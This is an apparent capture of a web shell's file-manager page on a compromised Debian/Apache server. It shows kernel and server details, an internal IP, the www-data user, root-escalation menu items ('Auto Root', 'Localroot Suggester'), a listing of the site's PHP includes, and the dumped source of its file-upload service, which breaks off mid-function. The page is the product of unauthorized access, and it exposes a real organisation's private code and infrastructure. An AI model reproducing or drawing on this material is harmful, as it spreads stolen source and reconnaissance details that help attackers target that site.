Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php /** * Shared CCE file upload storage, path resolution, and tokenized download URLs. * * @see documentation/specs/cce-file-upload-service.md */ class CceUploadedFileService { const STORAGE_ASSIGNMENTS_UPLOAD = 'assignmentsupload'; const STORAGE_MSGATTACH = 'msgattach'; const STORAGE_DOCUMENTS = 'documents'; const PORTAL_ADMIN = 'cceadmin'; const PORTAL_CONVENORS = 'cceconvenors'; const PORTAL_STUDENTS = 'cesanet'; const FILE_ROLE_ASSIGNMENT = 'assignment_file'; const FILE_ROLE_MSGATTACH = 'msgattach'; const FILE_ROLE_SUPPORTING_DOC = 'supporting_doc'; const FILE_ROLE_DOCUMENT = 'document'; const DEFAULT_TOKEN_TTL_SECONDS = 900; const MAX_BASENAME_LENGTH = 255; const DASH_PATTERN = '/[\x{2010}\x{2011}\x{2012}\x{2013}\x{2014}\x{2015}\x{2212}]/u'; /** @var array<string,string> */ private static $storagePaths = array( self::STORAGE_ASSIGNMENTS_UPLOAD => '/cceadmin/assignmentsupload/', self::STORAGE_MSGATTACH => '/cceadmin/msgattach/', self::STORAGE_DOCUMENTS => '/cceadmin/documents/', ); /** @var array<string,string> */ private static $portalDownloadScripts = array( self::PORTAL_ADMIN => '/cceadmin/file-download.php', self::PORTAL_CONVENORS => '/cceconvenors/file-download.php', self::PORTAL_STUDENTS => '/cesanet/file-download.php', ); /** @var array<string,array>|null Injected token store for tests */ private $tokenStore; /** @var array|null Last upload failure details */ private $lastUploadError; /** * @param array<string,array>|null $tokenStore Optional token store (by reference) for tests */ public function __construct($tokenStore = null) { $this->tokenStore = $tokenStore; } /** * @return array|null */ public function getLastUploadError() { return $this->lastUploadError; } /** * @param string $filename * @return bool */ public function isSafeBasename($filename) { if ($filename === '' || $filename === '.' || $filename === '..') { return false; } if (strpos($filename, '..') !== false) { return false; } if (strpos($filename, '/') !== false || strpos($filename, '\\') !== false) { return false; } return basename($filename) === $filename; } /** * @param string $filename * @return string */ public function normalizeDashes($filename) { return (string) preg_replace(self::DASH_PATTERN, '-', $filename); } /** * Sanitize an upload basename (matches cesanet/assignmentadd.php plus dash normalization). * * @param string $originalName * @return string|null Null when basename would exceed max length */ public function sanitizeBasename($originalName) { $originalName = basename((string) $originalName); $baseName = pathinfo($originalName, PATHINFO_FILENAME); $extension = pathinfo($originalName, PATHINFO_EXTENSION); $baseName = $this->normalizeDashes((string) $baseName); $baseName = preg_replace('/\s+/', '_', $baseName); $baseName = preg_replace('/[^A-Za-z0-9\-._~]/', '', (string) $baseName); $baseName = trim((string) $baseName, '._-'); if ($baseName === '') { $baseName = 'upload'; } $safeName = $baseName; if ($extension !== '') { $extension = preg_replace('/[^A-Za-z0-9]/', '', (string) $extension); if ($extension !== '') { $safeName .= '.' . $extension; } } $safeName = strtolower($safeName); if (strlen($safeName) > self::MAX_BASENAME_LENGTH) { return null; } return $safeName; } /** * @param string $filename * @return string */ public function normalizeForMatch($filename) { $filename = basename((string) $filename); $filename = strtolower($this->normalizeDashes($filename)); $filename = preg_replace('/\s+/', '_', $filename); return $filename; } /** * @param string $documentRoot * @param string $storageLocation * @return string|null */ public function getStorageDirectory($documentRoot, $storageLocation) { if (!isset(self::$storagePaths[$storageLocation])) { return null; } return rtrim((string) $documentRoot, '/') . self::$storagePaths[$storageLocation]; } /** * @param string $directory Absolute directory with trailing slash optional * @param string $safeBasename Already sanitized basename * @param array $options dateSuffix (string|null) * @return string|null Unique basename within directory */ public function resolveUniqueBasename($directory, $safeBasename, $options = array()) { if (!$this->isSafeBasename($safeBasename)) { return null; } $candidate = $safeBasename; $dateSuffix = isset($options['dateSuffix']) ? (string) $options['dateSuffix'] : ''; if ($dateSuffix !== '') { $ext = pathinfo($safeBasename, PATHINFO_EXTENSION); $fname = pathinfo($safeBasename, PATHINFO_FILENAME); if ($ext !== '') { $candidate = $fname . '-' . $dateSuffix . '.' . $ext; } else { $candidate = $fname . '-' . $dateSuffix; } } if (strlen($candidate) > self::MAX_BASENAME_LENGTH) { return null; } $dir = rtrim((string) $directory, '/') . '/'; if (!file_exists($dir . $candidate)) { return $candidate; } $counter = 1; while (file_exists($dir . $counter . '_' . $candidate)) { $counter++; if (strlen($counter . '_' . $candidate) > self::MAX_BASENAME_LENGTH) { return null; } } return $counter . '_' . $candidate; } /** * @param string $documentRoot * @param string $storageLocation * @param string $requestedFilename * @return string|null */ public function resolveFilePath($documentRoot, $storageLocation, $requestedFilename) { if (!$this->isSafeBasename($requestedFilename)) { return null; } $directory = $this->getStorageDirectory($documentRoot, $storageLocation); if ($directory === null) { return null; } $candidates = array($requestedFilename); $decoded = rawurldecode($requestedFilename); if ($decoded !== $requestedFilename && $this->isSafeBasename($decoded)) { $candidates[] = $decoded; } foreach ($candidates as $candidate) { $path = $directory . $candidate; if (is_file($path) && $this->isPathWithinDirectory($path, $directory)) { return $path; } } if (!is_dir($directory)) { return null; } $normalizedRequested = $this->normalizeForMatch($requestedFilename); $handle = opendir($directory); if ($handle === false) { return null; } $resolved = null; while (($entry = readdir($handle)) !== false) { if ($entry === '.' || $entry === '..') { continue; } $entryPath = $directory . $entry; if (!is_file($entryPath)) { continue; } if ($this->normalizeForMatch($entry) === $normalizedRequested) { if ($this->isPathWithinDirectory($entryPath, $directory)) { $resolved = $entryPath; } break; } } closedir($handle); return $resolved; } /** * Copy a file to a temp path with a mail-safe filename (no spaces/special path issues). * * @param string $absolutePath * @param string|null $displayName Attachment name shown to recipients * @return array{path:string,name:string,temp:bool}|null */ public function stageFileForMail($absolutePath, $displayName = null) { if (!is_string($absolutePath) || !is_file($absolutePath)) { return null; } $displayName = $displayName !== null && $displayName !== '' ? basename((string) $displayName) : basename($absolutePath); $extension = pathinfo($absolutePath, PATHINFO_EXTENSION); $extension = preg_replace('/[^A-Za-z0-9]/', '', (string) $extension); $tempPath = rtrim(sys_get_temp_dir(), '/') . '/cesa_mail_' . bin2hex(random_bytes(8)); if ($extension !== '') { $tempPath .= '.' . strtolower($extension); } if (!@copy($absolutePath, $tempPath)) { return null; } return array( 'path' => $tempPath, 'name' => $displayName, 'temp' => true, ); } /** * Resolve a stored attachment basename and stage it for outbound mail. * * @param string $documentRoot * @param string $storageLocation * @param string $basename * @return array{path:string,name:string,temp:bool}|null */ public function prepareMailAttachment($documentRoot, $storageLocation, $basename, $displayName = null) { $resolvedPath = $this->resolveFilePath($documentRoot, $storageLocation, $basename); if ($resolvedPath === null) { return null; } $display = $displayName !== null && $displayName !== '' ? $displayName : $basename; return $this->stageFileForMail($resolvedPath, $display); } /** * @param string $filesKey $_FILES key * @param string $storageLocation * @param array $options documentRoot, dateSuffix, allowedExtensions, portal, accessContext, moveCallback * @return array|null Success array or error array with keys error, code, message */ public function storeUploadedFile($filesKey, $storageLocation, $options = array()) { $this->lastUploadError = null; if ( !isset($_FILES[$filesKey]) || !is_array($_FILES[$filesKey]) || !isset($_FILES[$filesKey]['name']) || (string) $_FILES[$filesKey]['name'] === '' ) { return $this->uploadError('MISSING_FILE', 'No file was uploaded.'); } $upload = $_FILES[$filesKey]; if (!isset($upload['error']) || (int) $upload['error'] !== UPLOAD_ERR_OK) { return $this->uploadError('UPLOAD_ERR', 'The file upload failed.'); } if (!isset($upload['tmp_name']) || !is_string($upload['tmp_name']) || $upload['tmp_name'] === '') { return $this->uploadError('UPLOAD_ERR', 'The file upload failed.'); } $documentRoot = isset($options['documentRoot']) ? (string) $options['documentRoot'] : (isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : ''); $directory = $this->getStorageDirectory($documentRoot, $storageLocation); if ($directory === null) { return $this->uploadError('INVALID_STORAGE', 'Invalid storage location.'); } $safeBasename = $this->sanitizeBasename(stripslashes((string) $upload['name'])); if ($safeBasename === null) { return $this->uploadError('NAME_TOO_LONG', 'The file name is too long.'); } if (!$this->isAllowedExtension($safeBasename, $options)) { return $this->uploadError('INVALID_EXTENSION', 'This file type is not allowed.'); } $uniqueBasename = $this->resolveUniqueBasename($directory, $safeBasename, $options); if ($uniqueBasename === null) { return $this->uploadError('NAME_TOO_LONG', 'The file name is too long.'); } if (!is_dir($directory) && !mkdir($directory, 0755, true) && !is_dir($directory)) { return $this->uploadError('STORAGE_ERR', 'Could not prepare the upload directory.'); } $destination = rtrim($directory, '/') . '/' . $uniqueBasename; $moveCallback = isset($options['moveCallback']) && is_callable($options['moveCallback']) ? $options['moveCallback'] : 'move_uploaded_file'; if (!$moveCallback($upload['tmp_name'], $destination)) { return $this->uploadError('MOVE_ERR', 'Could not save the uploaded file.'); } $result = array( 'filename' => $uniqueBasename, 'path' => $destination, ); $portal = isset($options['portal']) ? (string) $options['portal'] : ''; $accessContext = isset($options['accessContext']) && is_array($options['accessContext']) ? $options['accessContext'] : array(); if ($portal !== '' && $this->isValidPortal($portal)) { $result['web_path'] = $this->buildDownloadUrl($portal, $storageLocation, $uniqueBasename, $accessContext); } return $result; } /** * @param string $absolutePath * @return string */ public function getMimeType($absolutePath) { if (function_exists('mime_content_type')) { $mime = mime_content_type($absolutePath); if (is_string($mime) && $mime !== '') { return $mime; } } $ext = strtolower(pathinfo($absolutePath, PATHINFO_EXTENSION)); $map = array( 'pdf' => 'application/pdf', 'doc' => 'application/msword', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'txt' => 'text/plain', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg', 'png' => 'image/png', 'gif' => 'image/gif', ); if (isset($map[$ext])) { return $map[$ext]; } return 'application/octet-stream'; } /** * @param string $portal * @param string $storageLocation * @param string $basename * @param array $accessContext * @param int|null $ttlSeconds * @return string|null Opaque token or null on failure */ public function issueDownloadToken($portal, $storageLocation, $basename, $accessContext = array(), $ttlSeconds = null) { if (!$this->isValidPortal($portal) || !isset(self::$storagePaths[$storageLocation])) { return null; } if (!$this->isSafeBasename($basename)) { return null; } $token = bin2hex(random_bytes(32)); $ttl = $ttlSeconds !== null ? (int) $ttlSeconds : self::DEFAULT_TOKEN_TTL_SECONDS; $issuedAt = time(); $store = &$this->getTokenStore(); $store[$token] = array( 'portal' => $portal, 'storageLocation' => $storageLocation, 'basename' => $basename, 'accessContext' => is_array($accessContext) ? $accessContext : array(), 'sessionId' => session_status() === PHP_SESSION_ACTIVE ? session_id() : '', 'issuedAt' => $issuedAt, 'expiresAt' => $issuedAt + $ttl, ); return $token; } /** * @param string $portal * @param string $token * @return array|null Token metadata when valid for portal */ public function redeemDownloadToken($portal, $token) { if (!$this->isValidPortal($portal) || $token === '') { return null; } $store = &$this->getTokenStore(); if (!isset($store[$token])) { return null; } $meta = $store[$token]; if (!is_array($meta) || !isset($meta['portal']) || $meta['portal'] !== $portal) { return null; } if (!isset($meta['expiresAt']) || (int) $meta['expiresAt'] < time()) { unset($store[$token]); return null; } return $meta; } /** * @param string $portal * @param string $storageLocation * @param string $basename * @param array $accessContext * @return string|null */ public function buildDownloadUrl($portal, $storageLocation, $basename, $accessContext = array()) { $token = $this->issueDownloadToken($portal, $storageLocation, $basename, $accessContext); if ($token === null) { return null; } return self::$portalDownloadScripts[$portal] . '?t=' . rawurlencode($token); } /** * @param string $portal * @return bool */ public function isValidPortal($portal) { return isset(self::$portalDownloadScripts[$portal]); } /** * Add tokenized download URLs to a marking ajax row (convenor portal). * * @param array $row * @param int $assignmentId * @param array|null $sourceRow Optional unmangled row values for file basename fields * @return array */ public function enrichConvenorMarkingRowUrls(array $row, $assignmentId, $sourceRow = null) { $assignmentId = (int) $assignmentId; $studentId = isset($row['CCEStudentID']) ? (int) $row['CCEStudentID'] : 0; $fileRow = is_array($sourceRow) ? $sourceRow : $row; for ($slot = 1; $slot <= 5; $slot++) { $col = 'AssignmentFile' . $slot; if (!empty($fileRow[$col])) { $row[$col . 'Url'] = $this->buildDownloadUrl( self::PORTAL_CONVENORS, self::STORAGE_ASSIGNMENTS_UPLOAD, (string) $fileRow[$col], array( 'fileRole' => self::FILE_ROLE_ASSIGNMENT, 'CCEAssignmentID' => $assignmentId, 'CCEStudentID' => $studentId, 'assignmentFileSlot' => $slot, ) ); } } if (!empty($fileRow['FileUpload'])) { $row['FileUploadUrl'] = $this->buildDownloadUrl( self::PORTAL_CONVENORS, self::STORAGE_MSGATTACH, (string) $fileRow['FileUpload'], array( 'fileRole' => self::FILE_ROLE_MSGATTACH, 'CCEAssignmentID' => $assignmentId, 'CCEStudentID' => $studentId, ) ); } if (isset($row['extensions']) && is_array($row['extensions'])) { foreach ($row['extensions'] as $index => $extension) { if (!is_array($extension) || empty($extension['SupportingDoc'])) { continue; } $supportingDoc = (string) $extension['SupportingDoc']; if ( is_array($sourceRow) && isset($sourceRow['extensions'][$index]['SupportingDoc']) && $sourceRow['extensions'][$index]['SupportingDoc'] !== '' ) { $supportingDoc = (string) $sourceRow['extensions'][$index]['SupportingDoc']; } $row['extensions'][$index]['SupportingDocUrl'] = $this->buildDownloadUrl( self::PORTAL_CONVENORS, self::STORAGE_ASSIGNMENTS_UPLOAD, $supportingDoc, array( 'fileRole' => self::FILE_ROLE_SUPPORTING_DOC, 'CCEAssignmentID' => $assignmentId, 'CCEStudentID' => $studentId, ) ); } } return $row; } /** * @param int $assignmentId * @param int $studentId * @param int $slot 1-5 * @param string $basename * @return string|null */ public function buildStudentAssignmentFileUrl($assignmentId, $studentId, $slot, $basename) { if ($basename === '') { return null; } return $this->buildDownloadUrl( self::PORTAL_STUDENTS, self::STORAGE_ASSIGNMENTS_UPLOAD, $basename, array( 'fileRole' => self::FILE_ROLE_ASSIGNMENT, 'CCEAssignmentID' => (int) $assignmentId, 'CCEStudentID' => (int) $studentId, 'assignmentFileSlot' => (int) $slot, ) ); } /** * @param int $assignmentId * @param int $studentId * @param string $basename * @return string|null */ public function buildStudentSupportingDocUrl($assignmentId, $studentId, $basename) { if ($basename === '') { return null; } return $this->buildDownloadUrl( self::PORTAL_STUDENTS, self::STORAGE_ASSIGNMENTS_UPLOAD, $basename, array( 'fileRole' => self::FILE_ROLE_SUPPORTING_DOC, 'CCEAssignmentID' => (int) $assignmentId, 'CCEStudentID' => (int) $studentId, ) ); } /** * @param string $filesKey * @param int $assignmentId * @param int $studentId * @param int $slot 1-5 * @param array $options Optional extra storeUploadedFile options * @return array|null */ public function storeStudentAssignmentUpload($filesKey, $assignmentId, $studentId, $slot, $options = array()) { if ( !isset($_FILES[$filesKey]) || !is_array($_FILES[$filesKey]) || !isset($_FILES[$filesKey]['name']) || (string) $_FILES[$filesKey]['name'] === '' ) { return null; } $uploadOptions = array_merge($options, array( 'portal' => self::PORTAL_STUDENTS, 'accessContext' => array( 'fileRole' => self::FILE_ROLE_ASSIGNMENT, 'CCEAssignmentID' => (int) $assignmentId, 'CCEStudentID' => (int) $studentId, 'assignmentFileSlot' => (int) $slot, ), )); $result = $this->storeUploadedFile($filesKey, self::STORAGE_ASSIGNMENTS_UPLOAD, $uploadOptions); if (!is_array($result) || !empty($result['error'])) { return null; } return $result; } /** * @param string $filesKey * @param int $assignmentId * @param int $studentId * @return array|null */ public function storeStudentSupportingDocUpload($filesKey, $assignmentId, $studentId) { if ( !isset($_FILES[$filesKey]) || !is_array($_FILES[$filesKey]) || !isset($_FILES[$filesKey]['name']) || (string) $_FILES[$filesKey]['name'] === '' ) { return null; } $result = $this->storeUploadedFile($filesKey, self::STORAGE_ASSIGNMENTS_UPLOAD, array( 'portal' => self::PORTAL_STUDENTS, 'accessContext' => array( 'fileRole' => self::FILE_ROLE_SUPPORTING_DOC, 'CCEAssignmentID' => (int) $assignmentId, 'CCEStudentID' => (int) $studentId, ), )); if (!is_array($result) || !empty($result['error'])) { return null; } return $result; } /** * @param array $extensionRequests * @param int $assignmentId * @param int $studentId * @return array */ public function enrichStudentExtensionRequests(array $extensionRequests, $assignmentId, $studentId) { foreach ($extensionRequests as $index => $extensionRequest) { if (!is_array($extensionRequest) || empty($extensionRequest['SupportingDoc'])) { continue; } $extensionRequests[$index]['SupportingDocUrl'] = $this->buildStudentSupportingDocUrl( $assignmentId, $studentId, (string) $extensionRequest['SupportingDoc'] ); } return $extensionRequests; } /** * Verify portal session and DB linkage for a redeemed download token. * * @param string $portal * @param array $meta Token metadata from redeemDownloadToken() * @return bool */ public function authorizeDownload($portal, array $meta) { if (!$this->isValidPortal($portal) || !isset($meta['basename'], $meta['storageLocation'], $meta['accessContext'])) { return false; } if (!$this->isSafeBasename($meta['basename'])) { return false; } switch ($portal) { case self::PORTAL_CONVENORS: return $this->authorizeConvenorDownload($meta); case self::PORTAL_STUDENTS: return $this->authorizeStudentDownload($meta); case self::PORTAL_ADMIN: return $this->authorizeAdminDownload($meta); } return false; } /** * Stream a resolved file to the client with standard download headers. * * @param string $absolutePath * @return void */ public function streamFileResponse($absolutePath) { if (!is_file($absolutePath)) { http_response_code(404); echo 'File not found.'; return; } $basename = basename($absolutePath); $mimeType = $this->getMimeType($absolutePath); $fileSize = filesize($absolutePath); header('Content-Type: ' . $mimeType); header('Content-Disposition: inline; filename="' . str_replace('"', '', $basename) . '"'); if ($fileSize !== false) { header('Content-Length: ' . $fileSize); } header('X-Content-Type-Options: nosniff'); header('Cache-Control: private, no-store'); readfile($absolutePath); } /** * @param array $meta * @return bool */ private function authorizeConvenorDownload(array $meta) { if (!defined('EW_SESSION_STATUS') || !isset($_SESSION[EW_SESSION_STATUS]) || $_SESSION[EW_SESSION_STATUS] !== 'login') { return false; } if ($this->fileReferencedInDatabase($meta)) { return true; } return $this->authorizeConvenorSameSessionUpload($meta); } /** * Allow convenors to open files they uploaded in the current session before DB fields are saved. * * @param array $meta * @return bool */ private function authorizeConvenorSameSessionUpload(array $meta) { if (empty($meta['sessionId']) || session_status() !== PHP_SESSION_ACTIVE || $meta['sessionId'] !== session_id()) { return false; } $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : ''; $resolvedPath = $this->resolveFilePath( $documentRoot, (string) $meta['storageLocation'], (string) $meta['basename'] ); return $resolvedPath !== null; } /** * @param array $meta * @return bool */ private function authorizeStudentDownload(array $meta) { if (!isset($_SESSION['StudentID']) || (int) $_SESSION['StudentID'] <= 0) { return false; } $context = is_array($meta['accessContext']) ? $meta['accessContext'] : array(); $studentId = isset($context['CCEStudentID']) ? (int) $context['CCEStudentID'] : 0; if ($studentId !== (int) $_SESSION['StudentID']) { return false; } if ($this->fileReferencedInDatabase($meta)) { return true; } return $this->authorizeStudentSameSessionUpload($meta); } /** * @param array $meta * @return bool */ private function authorizeStudentSameSessionUpload(array $meta) { if (empty($meta['sessionId']) || session_status() !== PHP_SESSION_ACTIVE || $meta['sessionId'] !== session_id()) { return false; } $documentRoot = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : ''; $resolvedPath = $this->resolveFilePath( $documentRoot, (string) $meta['storageLocation'], (string) $meta['basename'] ); return $resolvedPath !== null; } /** * @param array $meta * @return bool */ private function authorizeAdminDownload(array $meta) { if (!defined('EW_SESSION_STATUS') || !isset($_SESSION[EW_SESSION_STATUS]) || $_SESSION[EW_SESSION_STATUS] !== 'login') { return false; } return $this->fileReferencedInDatabase($meta); } /** * @param array $meta * @return bool */ private function fileReferencedInDatabase(array $meta) { global $conni; if (!$this->ensureDatabaseConnection()) { return false; } $basename = (string) $meta['basename']; $context = is_array($meta['accessContext']) ? $meta['accessContext'] : array(); $fileRole = isset($context['fileRole']) ? (string) $context['fileRole'] : ''; $assignmentId = isset($context['CCEAssignmentID']) ? (int) $context['CCEAssignmentID'] : 0; $studentId = isset($context['CCEStudentID']) ? (int) $context['CCEStudentID'] : 0; $slot = isset($context['assignmentFileSlot']) ? (int) $context['assignmentFileSlot'] : 0; $basenameEsc = mysqli_real_escape_string($conni, $basename); if ($fileRole === self::FILE_ROLE_ASSIGNMENT && $assignmentId > 0 && $studentId > 0) { if ($slot >= 1 && $slot <= 5) { $col = 'AssignmentFile' . $slot; $sql = "SELECT CCEStudentAssigID FROM CCEStudentAssignments " . "WHERE CCEAssignmentID=" . $assignmentId . " " . "AND CCEStudentID=" . $studentId . " " . "AND `" . $col . "`='" . $basenameEsc . "' LIMIT 1"; return $this->databaseHasRow($sql); } $sql = "SELECT CCEStudentAssigID FROM CCEStudentAssignments " . "WHERE CCEAssignmentID=" . $assignmentId . " " . "AND CCEStudentID=" . $studentId . " " . "AND (AssignmentFile1='" . $basenameEsc . "' " . "OR AssignmentFile2='" . $basenameEsc . "' " . "OR AssignmentFile3='" . $basenameEsc . "' " . "OR AssignmentFile4='" . $basenameEsc . "' " . "OR AssignmentFile5='" . $basenameEsc . "') LIMIT 1"; return $this->databaseHasRow($sql); } if ($fileRole === self::FILE_ROLE_MSGATTACH) { if ($assignmentId > 0) { $sql = "SELECT CCEAssignmentMarking.CCEStudentAssigID FROM CCEAssignmentMarking " . "INNER JOIN CCEStudentAssignments ON CCEAssignmentMarking.CCEStudentAssigID=CCEStudentAssignments.CCEStudentAssigID " . "WHERE CCEStudentAssignments.CCEAssignmentID=" . $assignmentId . " " . "AND CCEAssignmentMarking.FileUpload='" . $basenameEsc . "'"; if ($studentId > 0) { $sql .= " AND CCEStudentAssignments.CCEStudentID=" . $studentId; } $sql .= " LIMIT 1"; return $this->databaseHasRow($sql); } $sql = "SELECT CCEStudentAssigID FROM CCEAssignmentMarking " . "WHERE FileUpload='" . $basenameEsc . "' LIMIT 1"; return $this->databaseHasRow($sql); } if ($fileRole === self::FILE_ROLE_SUPPORTING_DOC && $assignmentId > 0) { if ($studentId > 0) { $sql = "SELECT CCEStAssigExtensionID FROM CCEStAssigExtensionRequests " . "WHERE CCEAssignmentID=" . $assignmentId . " " . "AND CCEStudentID=" . $studentId . " " . "AND SupportingDoc='" . $basenameEsc . "' LIMIT 1"; return $this->databaseHasRow($sql); } $sql = "SELECT CCEStAssigExtensionID FROM CCEStAssigExtensionRequests " . "WHERE CCEAssignmentID=" . $assignmentId . " " . "AND SupportingDoc='" . $basenameEsc . "' LIMIT 1"; return $this->databaseHasRow($sql); } if ($fileRole === self::FILE_ROLE_DOCUMENT && $meta['storageLocation'] === self::STORAGE_DOCUMENTS) { $sql = "SELECT CCEDocumentID FROM CCEDocuments WHERE DocumentFile='" . $basenameEsc . "' LIMIT 1"; return $this->databaseHasRow($sql); } return false; } /** * @return bool */ public function 